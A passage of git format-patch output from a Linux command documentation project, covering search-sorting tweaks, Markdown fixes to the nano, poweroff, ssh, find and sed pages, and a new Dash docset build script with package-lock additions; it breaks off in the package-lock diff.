From 367d0c40126cc6ec06b66bfdbd098f9044b5d1a4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Apr 2019 13:37:54 +0800 Subject: [PATCH 0001/1019] =?UTF-8?q?=E4=BC=98=E5=8C=96=E6=90=9C=E7=B4=A2?= =?UTF-8?q?=E7=BB=93=E6=9E=9C=20#86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- template/js/index.js | 10 ++++++---- template/styl/mixins/markdown.styl | 15 +++++++++++++++ 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/template/js/index.js b/template/js/index.js index 0083e864035..cc97d5554af 100644 --- a/template/js/index.js +++ b/template/js/index.js @@ -40,7 +40,6 @@ } }, isSreachIndexOF: function (oldstr, kw) { - var istrue = -1; if (!oldstr || !kw) return -1; return oldstr.toLowerCase().indexOf(kw.toLowerCase()); }, @@ -103,11 +102,14 @@ } } resultData.sort(function (a, b) { - if (a.nIdx === -1 || b.nIdx === -1) { - return 1; - } + // if (a.nIdx === -1 || b.nIdx === -1) { + // return 1; + // } return a.nIdx - b.nIdx + }).sort(function(a, b) { + return a.n.length - b.n.length; }); + console.log('resultData:', resultData) resultData = resultData.slice(0, show_list_count); for (i = 0; i < resultData.length; i++) { diff --git a/template/styl/mixins/markdown.styl b/template/styl/mixins/markdown.styl index d6873d34280..d9e61c88801 100644 --- a/template/styl/mixins/markdown.styl +++ b/template/styl/mixins/markdown.styl @@ -216,4 +216,19 @@ margin-top: 0; margin-bottom: 16px; } + + blockquote { + padding: 0 1em; + color: #6a737d; + border-left: 0.25em solid #dfe2e5; + } + + blockquote>:first-child { + margin-top: 0; + } + + blockquote>:last-child { + margin-bottom: 0; + } + } \ No newline at end of file From 491a8d4a60d4c4c2cc67bf26b01a7e0488041318 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Apr 2019 13:39:33 +0800 Subject: [PATCH 0002/1019] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E9=AB=98=E4=BA=AE=E9=94=99=E8=AF=AF=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/nano.md | 26 +++++++++++++------------- command/poweroff.md | 4 ++-- command/ssh.md | 4 ++-- 3 files changed, 17 insertions(+), 17 deletions(-) diff --git a/command/nano.md b/command/nano.md index 3db4e87addd..edf5935d4d0 100644 --- a/command/nano.md +++ b/command/nano.md @@ -11,13 +11,13 @@ nano命令可以打开指定文件进行编辑，默认情况下它会自动断 ### 语法 -```shellz +```shell nano [选项] [[+行,列] 文件名]... ``` ### 选项 -```shellz +```shell -h, -? --help 显示此信息 +行,列 从所指列数与行数开始 -A --smarthome 启用智能 HOME 键 @@ -64,34 +64,34 @@ nano [选项] [[+行,列] 文件名]... ### 用法 - **光标控制** +**光标控制** -* 移动光标：使用用方向键移动。 -* 选择文字：按住鼠标左键拖到。 +* 移动光标：使用用方向键移动。 +* 选择文字：按住鼠标左键拖到。 - **复制、剪贴和粘贴** +**复制、剪贴和粘贴** -* 复制一整行：Alt+6 -* 剪贴一整行：Ctrl+K +* 复制一整行：Alt+6 +* 剪贴一整行：Ctrl+K - **粘贴：Ctrl+U** +**粘贴：Ctrl+U** 如果需要复制／剪贴多行或者一行中的一部分，先将光标移动到需要复制／剪贴的文本的开头，按Ctrl+6（或者Alt+A）做标记，然后移动光标到 待复制／剪贴的文本末尾。这时选定的文本会反白，用Alt+6来复制，Ctrl+K来剪贴。若在选择文本过程中要取消，只需要再按一次Ctrl+6。 - **搜索** +**搜索** 按Ctrl+W，然后输入你要搜索的关键字，回车确定。这将会定位到第一个匹配的文本，接着可以用Alt+W来定位到下一个匹配的文本。 - **翻页** +**翻页** * `Ctrl+Y` 到上一页 * `Ctrl+V` 到下一页 - **保存** +**保存** 使用Ctrl+O来保存所做的修改 - **退出** +**退出** 按Ctrl+X diff --git a/command/poweroff.md b/command/poweroff.md index fd0cef444ca..2582dbae982 100644 --- a/command/poweroff.md +++ b/command/poweroff.md @@ -9,13 +9,13 @@ poweroff ### 语法 -```shel +```shell poweroff [选项] ``` ### 选项 -```shel +```shell -n 关闭之前不同步 -p 当被称为halt时关闭电源 -v 增加输出，包括消息 diff --git a/command/ssh.md b/command/ssh.md index 68535e440bd..29254a29fda 100644 --- a/command/ssh.md +++ b/command/ssh.md @@ -40,8 +40,8 @@ ssh(选项)(参数) ### 参数 -* 远程主机：指定要连接的远程ssh服务器； -* 指令：要在远程ssh服务器上执行的指令。 +* 远程主机：指定要连接的远程ssh服务器； +* 指令：要在远程ssh服务器上执行的指令。 ### 实例 From 8575a088af85e100bb704c6d45402340a0262196 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Apr 2019 13:58:52 +0800 Subject: [PATCH 0003/1019] =?UTF-8?q?=E4=BC=98=E5=8C=96=E6=90=9C=E7=B4=A2?= =?UTF-8?q?=E7=BB=93=E6=9E=9C=E6=8E=92=E5=BA=8F=E9=A1=BA=E5=BA=8F=20#86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- template/js/index.js | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/js/index.js b/template/js/index.js index cc97d5554af..f39d81d9372 100644 --- a/template/js/index.js +++ b/template/js/index.js @@ -102,14 +102,15 @@ } } resultData.sort(function (a, b) { - // if (a.nIdx === -1 || b.nIdx === -1) { - // return 1; - // } return a.nIdx - b.nIdx }).sort(function(a, b) { return a.n.length - b.n.length; + }).sort(function (a, b) { + if (b.n.indexOf(self.query) < 0) { + return -1; + } + return a.n.indexOf(self.query) - b.n.indexOf(self.query); }); - console.log('resultData:', resultData) resultData = resultData.slice(0, show_list_count); for (i = 0; i < resultData.length; i++) { From 2fdb020f83075a4d61b7de89305b0423e2987769 Mon Sep 17 00:00:00 2001 From: Robigus Date: Thu, 2 May 2019 16:59:50 +0530 Subject: [PATCH 0004/1019] Modified word error in the find command option. (#87) --- command/find.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/find.md b/command/find.md index c8fee0080ac..d2617daa54b 100644 --- a/command/find.md +++ b/command/find.md @@ -64,7 +64,7 @@ find(选项)(参数) -regex<范本样式>：指定字符串作为寻找文件或目录的范本样式； -size<文件大小>：查找符合指定的文件大小的文件； -true：将find指令的回传值皆设为True； --typ<文件类型>：只寻找符合指定的文件类型的文件； +-type<文件类型>：只寻找符合指定的文件类型的文件； -uid<用户识别码>：查找符合指定的用户识别码的文件或目录； -used<日数>：查找文件或目录被更改之后在指定时间曾被存取过的文件或目录，单位以日计算； -user<拥有者名称>：查找符和指定的拥有者名称的文件或目录； From 57c2c310988df36e68e0ee703037fa3b46997427 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Sun, 5 May 2019 19:56:04 +0800 Subject: [PATCH 0005/1019] =?UTF-8?q?=E4=BF=AE=E6=94=B9107=E8=A1=8C?= =?UTF-8?q?=E7=9A=84g=E5=85=A8=E5=B1=80=E4=BD=9C=E7=94=A8=20(#90)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit g不应该是匹配每一行的第一个匹配项，而是每一行的所有匹配项 --- command/sed.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/sed.md b/command/sed.md index b3981ed2e92..bad5113bda8 100644 --- a/command/sed.md +++ b/command/sed.md @@ -104,7 +104,7 @@ sed 's/book/books/' file sed -n 's/test/TEST/p' file -直接编辑文件 **选项-i** ，会匹配file文件中每一行的第一个book替换为books： +直接编辑文件 **选项-i** ，会匹配file文件中每一行的所有book替换为books： ```shell sed -i 's/book/books/g' file From b9aa227d8c1de9ef2ca67f76b62f8951966c7e4a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?SHANG=E6=AE=87?= Date: Sun, 5 May 2019 19:58:36 +0800 Subject: [PATCH 0006/1019] feat: add dash build (#91) --- assets/dash-icon.png | Bin 0 -> 2189 bytes build/dash.js | 118 +++++++ package-lock.json | 800 ++++++++++++++++++++++++++++++++++++++++++- package.json | 4 +- 4 files changed, 920 insertions(+), 2 deletions(-) create mode 100644 assets/dash-icon.png create mode 100644 build/dash.js diff --git a/assets/dash-icon.png b/assets/dash-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..4d80bd7563881d2c9c44a9997cb6a13ae248d4f7 GIT binary patch literal 2189 zcmYjR3pmty7oHiW8TWRPa;vN)(q%{Eo-i|J%wT9t?$_LwB9|tHTvlk17F(3{A-9dq ztx&Ngp{7iY$`T?=%8GooK1*fK_S?tvo#&Y|=e*~A-}C#=@Bhqcwu7ylw5l`)gOOv< zDbDb{=bsNz05CR30$^3Urrz0V#009StgE`<3|4)M!w6OilLOa-w3Zw#0Xn~JFv;sIV zML4no1o@yAXt0Y+CPNE2nxeg+f&v2hBU@wz65vxP6l8)<3(pQybPUM$_V!2!c`bkd zDE~844spzXKv5)tVK6 z2tkjtrUeiJKy;65ZeRs9YJmWYfB*$DM$kEXefso+<2!x*w3b-0z zLI4eH0fD=7fUtJ}6|4XpI9x8*$;pY$W;;7Ob2yyRAI^Uduj%_3XNQ9r3B06z!A+5{ zK1vCv-ZE+~+xvNCW%`uKLM{sM8+2 za{ABrn%Paq7X1(Gm!G^wE~41vSUj^HYxAr(-f6En^i(F%#)#rb+I8rzS*JT=k1p$Q z6o{FfI;f zcVz@RZG6Cu3=2QA>2*jFQD>mvBw^}tD6X$CUomm_WPz0TNrGDP7VWIm>*?_u1+JM2 z=f6LGRIs;LMK8ilz_&dYw|;wLyiS&fW$@N??wQoQEhq7n7>p!~L9yb{dvjd)o=PrC z`$^|3M)nSF&>akv)wjxt=~U(lC;Y0oA;e8WS_LOfc~a&sMfg;@IYHTi6Q6}G;uLy> z+7(~}U4I^0$+4J^%P7-pdb~Gnrly@kAXmk9o(g5F8WE%~;o;C8ej8 z#0{|Jh}Bb;v*E&xX5Fr?OQF8RQj6ZItjuhIAp7uiNwsFD)l~ypL@P7TE4ZOMwMKf+ z$AqCRLvNQeiC*d&$FS@7CCltC=S2L*Bg8hXp*+9#)2z}cfjb5pa5>Ijwc|rml1}GTQv$xmF!w+_ zEofj;zq)W}skX{F?n3oHo!+F>{r@86D{r zN58~V4tc;@nBqwk==eTRndrr;^m|RZX7}V(8gp@+JrX~$O^7?N51ZO$FPoE7Jl#~f z&dErK6jS&yhJN_Dta7u%jB7jJ3<*<&i}B#(Nc*X#Uh{8tF+u&kl{dzhi4~38ODe9CZvm}(@J4kkqZ6wY=`mfn z&8*L5QSGaPt6t{2!rT0f@r4DXqMpVhc9OHNj@#NLo^qDQZF^*{e^b;_PLwaH4SICz zo&VFBG8W$R}JiO(9$URz=l-Op+p zwlBtK1#9t1WxrKL)d=%nBx8!)w^}@D`^v6r?mj;{v{W_Z%1{{P<&u|3DQruRM?{u# z+5GIV!n`I?7uVYs8bK6BuD8}6E+PA*5kKn{#(4gAy;FQZU0jJbCwVCvTjb5>*9ll7ejR`0oqJ%@aF z;l%vn(W6NZSNdAVT-J@qjn#Yp*>!9pon}AYyQ(gKu`e`V!*XkTCZVkI<@9Y2&t$*t z^06QLKZND1>`USc0#7>n#RW{iI&u&Het`OWMA$oaYKy^}!!wUd#-6iAEjrY0t)}EI zTJn0G#b^ZR1;5}!oae`cC*!85+V4huf_LW@Ftnm<;z{)@iNkk2pTP` Z*i$SYpONNdGW@M#7*q$!6>HzrzX5bZZ=3)C literal 0 HcmV?d00001 diff --git a/build/dash.js b/build/dash.js new file mode 100644 index 00000000000..6f7ce1a8f1b --- /dev/null +++ b/build/dash.js @@ -0,0 +1,118 @@ +const fs = require('fs-extra'); +const { resolve: pathResolve } = require('path'); +const pkg = require('../package.json'); +const sqlite3 = require('sqlite3'); + +const DATA_DIR = pathResolve(__dirname, '../assets/'); +const INDEX_JSON_PATH = pathResolve(__dirname, '../dist/data.json'); +const DETAIL_DIR = pathResolve(__dirname, '../.deploy/'); +const CP_DIRS = [ + pathResolve(DETAIL_DIR, 'c'), + pathResolve(DETAIL_DIR, 'css'), + pathResolve(DETAIL_DIR, 'img'), + pathResolve(DETAIL_DIR, 'js'), +]; + +const DOC_NAME = pkg.name; +const DOC_ROOT_DIR = pathResolve(__dirname, `../.deploy/${DOC_NAME}`); +const DOCSET_DIR = `${DOC_ROOT_DIR}.docset`; +const RESOURCES_DIR = `${DOCSET_DIR}/Contents/Resources/`; + +const DB_PATH = `${DOCSET_DIR}/Contents/Resources/docSet.dsidx`; +const DIR_STRUCT = `${DOCSET_DIR}/Contents/Resources/Documents/`; + +const PLIST = { + dist: `${DOCSET_DIR}/Contents/Info.plist`, + content: ` + + + + + CFBundleIdentifier + DOC_NAME + CFBundleName + DOC_NAME + DocSetPlatformFamily + DOC_NAME + isDashDocset + + + + `, +}; +const ICON = { + dist: `${DOCSET_DIR}/icon.png`, + src: `${DATA_DIR}/dash-icon.png`, +}; + +function createDatabase(apiList, dbPath) { + const db = new sqlite3.Database(dbPath); + + db.serialize(() => { + db.run('CREATE TABLE searchIndex(id INTEGER PRIMARY KEY, name TEXT, type TEXT, path TEXT);'); + db.run('CREATE UNIQUE INDEX anchor ON searchIndex (name,type,path);'); + + let stmt = db.prepare('INSERT OR IGNORE INTO searchIndex(name, type, path) VALUES (?, ?, ?)'); + + apiList.forEach(({ name, type, path }) => { + stmt.run(name, type, path); + }); + + stmt.finalize(); + }); + + db.close(); +} + +async function clean() { + console.info('========= do clean ========='); + try { + await fs.remove(DOCSET_DIR); + } catch (e) {} +} + +async function copyResource() { + await fs.copy(ICON.src, ICON.dist); + await fs.writeFile(PLIST.dist, PLIST.content.replace(/DOC_NAME/gi, DOC_NAME)); + + for await (const dir of CP_DIRS) { + await fs.copy(dir, pathResolve(DIR_STRUCT, dir.substr(dir.lastIndexOf('/') + 1))); + } +} + +async function getIndex() { + let obj = await fs.readJSON(INDEX_JSON_PATH, { encoding: 'utf8' }); + + return Object.keys(obj).map((key) => { + return { + name: obj[key].n, + type: 'Guide', + path: `./c${obj[key].p}.html`, + }; + }); +} + +async function buildApi(dbPath) { + let arr = await getIndex(); + await createDatabase(arr, dbPath); +} + +async function build() { + console.log(`mkdir -p ${RESOURCES_DIR}`); + await clean(); + await fs.ensureDir(RESOURCES_DIR); + + console.log('build resources...'); + await copyResource(); + + console.info('build documents'); + await buildApi(DB_PATH); +} + +build() + .then(() => { + console.info(`file at ${DOCSET_DIR}`); + }) + .catch((e) => { + console.warn(e); + }); diff --git a/package-lock.json b/package-lock.json index 12ba322fae6..8efa6186ef5 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,15 +1,55 @@ { "name": "linux-command", - "version": "1.2.3", + "version": "1.2.5", "lockfileVersion": 1, "requires": true, "dependencies": { + "abbrev": { + "version": "1.1.1", + "resolved": "http://registry.npm.taobao.org/abbrev/download/abbrev-1.1.1.tgz", + "integrity": "sha1-+PLIh60Qv2f2NPAFtph/7TF5qsg=", + "dev": true + }, + "ajv": { + "version": "6.10.0", + "resolved": "http://registry.npm.taobao.org/ajv/download/ajv-6.10.0.tgz", + "integrity": "sha1-kNDVRDnaWHzX6EO/twRfUL0ivfE=", + "dev": true, + "requires": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, "amdefine": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", "dev": true }, + "ansi-regex": { + "version": "2.1.1", + "resolved": "http://registry.npm.taobao.org/ansi-regex/download/ansi-regex-2.1.1.tgz", + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "dev": true + }, + "aproba": { + "version": "1.2.0", + "resolved": "http://registry.npm.taobao.org/aproba/download/aproba-1.2.0.tgz", + "integrity": "sha1-aALmJk79GMeQobDVF/DyYnvyyUo=", + "dev": true + }, + "are-we-there-yet": { + "version": "1.1.5", + "resolved": "http://registry.npm.taobao.org/are-we-there-yet/download/are-we-there-yet-1.1.5.tgz", + "integrity": "sha1-SzXClE8GKov82mZBB2A1D+nd/CE=", + "dev": true, + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" + } + }, "array-union": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz", @@ -25,6 +65,21 @@ "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=", "dev": true }, + "asn1": { + "version": "0.2.4", + "resolved": "http://registry.npm.taobao.org/asn1/download/asn1-0.2.4.tgz", + "integrity": "sha1-jSR136tVO7M+d7VOWeiAu4ziMTY=", + "dev": true, + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "assert-plus": { + "version": "1.0.0", + "resolved": "http://registry.npm.taobao.org/assert-plus/download/assert-plus-1.0.0.tgz", + "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", + "dev": true + }, "async": { "version": "2.6.1", "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", @@ -34,12 +89,39 @@ "lodash": "^4.17.10" } }, + "asynckit": { + "version": "0.4.0", + "resolved": "http://registry.npm.taobao.org/asynckit/download/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", + "dev": true + }, + "aws-sign2": { + "version": "0.7.0", + "resolved": "http://registry.npm.taobao.org/aws-sign2/download/aws-sign2-0.7.0.tgz", + "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", + "dev": true + }, + "aws4": { + "version": "1.8.0", + "resolved": "http://registry.npm.taobao.org/aws4/download/aws4-1.8.0.tgz", + "integrity": "sha1-8OAD2cqef1nHpQiUXXsu+aBKVC8=", + "dev": true + }, "balanced-match": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", "dev": true }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "http://registry.npm.taobao.org/bcrypt-pbkdf/download/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "dev": true, + "requires": { + "tweetnacl": "^0.14.3" + } + }, "brace-expansion": { "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", @@ -50,6 +132,18 @@ "concat-map": "0.0.1" } }, + "caseless": { + "version": "0.12.0", + "resolved": "http://registry.npm.taobao.org/caseless/download/caseless-0.12.0.tgz", + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", + "dev": true + }, + "chownr": { + "version": "1.1.1", + "resolved": "http://registry.npm.taobao.org/chownr/download/chownr-1.1.1.tgz", + "integrity": "sha1-VHJri4//TfBTxCGH6AH7RBLfFJQ=", + "dev": true + }, "clipboard": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/clipboard/-/clipboard-2.0.4.tgz", @@ -62,12 +156,27 @@ "tiny-emitter": "^2.0.0" } }, + "code-point-at": { + "version": "1.1.0", + "resolved": "http://registry.npm.taobao.org/code-point-at/download/code-point-at-1.1.0.tgz", + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", + "dev": true + }, "colors-cli": { "version": "1.0.20", "resolved": "https://registry.npmjs.org/colors-cli/-/colors-cli-1.0.20.tgz", "integrity": "sha512-cV6cg526xhNa1vUkMIK6+vSoPTXz9eqiYRTTnOokm7jUT57w/Gpwi6wqrFtu388w2eC7SPYdEzQ19uMP9buB+w==", "dev": true }, + "combined-stream": { + "version": "1.0.7", + "resolved": "http://registry.npm.taobao.org/combined-stream/download/combined-stream-1.0.7.tgz", + "integrity": "sha1-LR0kMXr7ir6V1tLAsHtXgTU52Cg=", + "dev": true, + "requires": { + "delayed-stream": "~1.0.0" + } + }, "commander": { "version": "2.18.0", "resolved": "https://registry.npmjs.org/commander/-/commander-2.18.0.tgz", @@ -80,12 +189,33 @@ "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", "dev": true }, + "console-control-strings": { + "version": "1.1.0", + "resolved": "http://registry.npm.taobao.org/console-control-strings/download/console-control-strings-1.1.0.tgz", + "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", + "dev": true + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "http://registry.npm.taobao.org/core-util-is/download/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true + }, "css-parse": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/css-parse/-/css-parse-1.7.0.tgz", "integrity": "sha1-Mh9s9zeCpv91ERE5D8BeLGV9jJs=", "dev": true }, + "dashdash": { + "version": "1.14.1", + "resolved": "http://registry.npm.taobao.org/dashdash/download/dashdash-1.14.1.tgz", + "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", + "dev": true, + "requires": { + "assert-plus": "^1.0.0" + } + }, "debug": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/debug/-/debug-4.0.1.tgz", @@ -95,6 +225,18 @@ "ms": "^2.1.1" } }, + "deep-extend": { + "version": "0.6.0", + "resolved": "http://registry.npm.taobao.org/deep-extend/download/deep-extend-0.6.0.tgz", + "integrity": "sha1-xPp8lUBKF6nD6Mp+FTcxK3NjMKw=", + "dev": true + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "http://registry.npm.taobao.org/delayed-stream/download/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", + "dev": true + }, "delegate": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz", @@ -102,6 +244,28 @@ "dev": true, "optional": true }, + "delegates": { + "version": "1.0.0", + "resolved": "http://registry.npm.taobao.org/delegates/download/delegates-1.0.0.tgz", + "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", + "dev": true + }, + "detect-libc": { + "version": "1.0.3", + "resolved": "http://registry.npm.taobao.org/detect-libc/download/detect-libc-1.0.3.tgz", + "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=", + "dev": true + }, + "ecc-jsbn": { + "version": "0.1.2", + "resolved": "http://registry.npm.taobao.org/ecc-jsbn/download/ecc-jsbn-0.1.2.tgz", + "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", + "dev": true, + "requires": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, "ejs": { "version": "2.6.1", "resolved": "https://registry.npmjs.org/ejs/-/ejs-2.6.1.tgz", @@ -120,6 +284,30 @@ "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", "dev": true }, + "extend": { + "version": "3.0.2", + "resolved": "http://registry.npm.taobao.org/extend/download/extend-3.0.2.tgz", + "integrity": "sha1-+LETa0Bx+9jrFAr/hYsQGewpFfo=", + "dev": true + }, + "extsprintf": { + "version": "1.3.0", + "resolved": "http://registry.npm.taobao.org/extsprintf/download/extsprintf-1.3.0.tgz", + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", + "dev": true + }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "http://registry.npm.taobao.org/fast-deep-equal/download/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", + "resolved": "http://registry.npm.taobao.org/fast-json-stable-stringify/download/fast-json-stable-stringify-2.0.0.tgz", + "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", + "dev": true + }, "filename-reserved-regex": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-1.0.0.tgz", @@ -147,6 +335,23 @@ "humanize-url": "^1.0.0" } }, + "forever-agent": { + "version": "0.6.1", + "resolved": "http://registry.npm.taobao.org/forever-agent/download/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", + "dev": true + }, + "form-data": { + "version": "2.3.3", + "resolved": "http://registry.npm.taobao.org/form-data/download/form-data-2.3.3.tgz", + "integrity": "sha1-3M5SwF9kTymManq5Nr1yTO/786Y=", + "dev": true, + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, "fs-extra": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.0.tgz", @@ -158,12 +363,46 @@ "universalify": "^0.1.0" } }, + "fs-minipass": { + "version": "1.2.5", + "resolved": "http://registry.npm.taobao.org/fs-minipass/download/fs-minipass-1.2.5.tgz", + "integrity": "sha1-BsJ3IYRU7CiN93raVKA7hwKqy50=", + "dev": true, + "requires": { + "minipass": "^2.2.1" + } + }, "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", "dev": true }, + "gauge": { + "version": "2.7.4", + "resolved": "http://registry.npm.taobao.org/gauge/download/gauge-2.7.4.tgz", + "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", + "dev": true, + "requires": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "getpass": { + "version": "0.1.7", + "resolved": "http://registry.npm.taobao.org/getpass/download/getpass-0.1.7.tgz", + "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", + "dev": true, + "requires": { + "assert-plus": "^1.0.0" + } + }, "gh-pages": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/gh-pages/-/gh-pages-2.0.0.tgz", @@ -223,6 +462,39 @@ "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", "dev": true }, + "har-schema": { + "version": "2.0.0", + "resolved": "http://registry.npm.taobao.org/har-schema/download/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", + "dev": true + }, + "har-validator": { + "version": "5.1.3", + "resolved": "http://registry.npm.taobao.org/har-validator/download/har-validator-5.1.3.tgz", + "integrity": "sha1-HvievT5JllV2de7ZiTEQ3DUPoIA=", + "dev": true, + "requires": { + "ajv": "^6.5.5", + "har-schema": "^2.0.0" + } + }, + "has-unicode": { + "version": "2.0.1", + "resolved": "http://registry.npm.taobao.org/has-unicode/download/has-unicode-2.0.1.tgz", + "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", + "dev": true + }, + "http-signature": { + "version": "1.2.0", + "resolved": "http://registry.npm.taobao.org/http-signature/download/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", + "dev": true, + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, "humanize-url": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/humanize-url/-/humanize-url-1.0.1.tgz", @@ -233,6 +505,24 @@ "strip-url-auth": "^1.0.0" } }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "http://registry.npm.taobao.org/iconv-lite/download/iconv-lite-0.4.24.tgz", + "integrity": "sha1-ICK0sl+93CHS9SSXSkdKr+czkIs=", + "dev": true, + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "ignore-walk": { + "version": "3.0.1", + "resolved": "http://registry.npm.taobao.org/ignore-walk/download/ignore-walk-3.0.1.tgz", + "integrity": "sha1-qD5i59JyrA47VRqqgoMaGbafgvg=", + "dev": true, + "requires": { + "minimatch": "^3.0.4" + } + }, "inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", @@ -249,12 +539,69 @@ "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", "dev": true }, + "ini": { + "version": "1.3.5", + "resolved": "http://registry.npm.taobao.org/ini/download/ini-1.3.5.tgz", + "integrity": "sha1-7uJfVtscnsYIXgwid4CD9Zar+Sc=", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "http://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "dev": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, "is-plain-obj": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", "dev": true }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "http://registry.npm.taobao.org/is-typedarray/download/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", + "dev": true + }, + "isarray": { + "version": "1.0.0", + "resolved": "http://registry.npm.taobao.org/isarray/download/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "isstream": { + "version": "0.1.2", + 